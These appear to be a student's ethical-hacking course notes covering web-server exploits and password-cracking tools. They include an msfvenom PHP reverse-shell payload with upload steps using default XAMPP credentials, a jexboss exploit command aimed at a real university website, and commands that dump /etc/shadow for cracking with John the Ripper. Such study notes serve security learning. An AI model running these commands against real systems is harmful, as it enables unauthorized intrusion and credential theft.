**CEH Notes Day-12 (22/12/2019)**

Web Application Attacks

Natas teaches the basics of serverside web-security.

<https://overthewire.org/wargames/natas/>

INSECURE DIRECT OBJECT REFERENCE (IDOR)

HTTP is a stateless protocol

HTTP Methods

<https://www.tutorialspoint.com/http/http_methods.htm>

HTTP - Status Codes

<https://www.tutorialspoint.com/http/http_status_codes.htm>

Most Used Web-servers list

<https://news.netcraft.com/archives/category/web-server-survey/>

nginx

Apache

Microsoft

Google

XAMPP WebDAV PHP Upload

xampp 1.7.2 vulnerabilities

<https://www.rapid7.com/db/modules/exploit/windows/http/xampp_webdav_upload_php>

msfconsole xampp\_webdav\_upload\_php exploit - notes available

Create a reverse php exploit using msfvenom and obtain shell access using jab handler.

msfvenom -l payloads | grep php

msfvenom -p php/reverse\_php LHOST=192.168.1.46 LPORT=4455 -f raw -o /root/Desktop/sss1.php

cadaver - Command-line WebDAV client for Unix

Use cadaver tool to upload the php file into webDAV folder of XAMPP and hit the URL in browser to run the exploit.

Default user - wampp

Default passwd - xampp

manageengine\_connectionid\_write exploit - notes available

search cve:2015-8249

<https://www.exploit-db.com/exploits/38982>

<https://www.exploit-db.com/exploits/45196>

Apache Struts vulnerability on equifax.

<https://github.com/joaomatosf/jexboss>

intitle: "Struts problem report"

You are seeing this page because development mode is enabled.

python [jexboss.py](http://jexboss.py) -host <http://filialnorte.usmp.edu.pe/MantenimientoAjustes/>

<https://howsecureismypassword.net/>

Password Attacks

1.Brute Force attack

2.Dictionary attack

3.Syllable attack

4.Rainbow table attack

5.Rubber hose attack

Brute Force attack - Hydra Tool usage to brute-force practical.

Dictionary attack - <https://github.com/danielmiessler/SecLists>

Syllable attack - Crunch Tool - It helps in creating own word list in all combinations.

Rainbow table attack - John the Ripper - Used to crack password hashes in a system.

root@kali:~# unshadow /etc/passwd /etc/shadow > /root/Desktop/crackme

root@kali:~# john /root/Desktop/crackme

Rubber hose attack - Non-Technical way of performing password attack.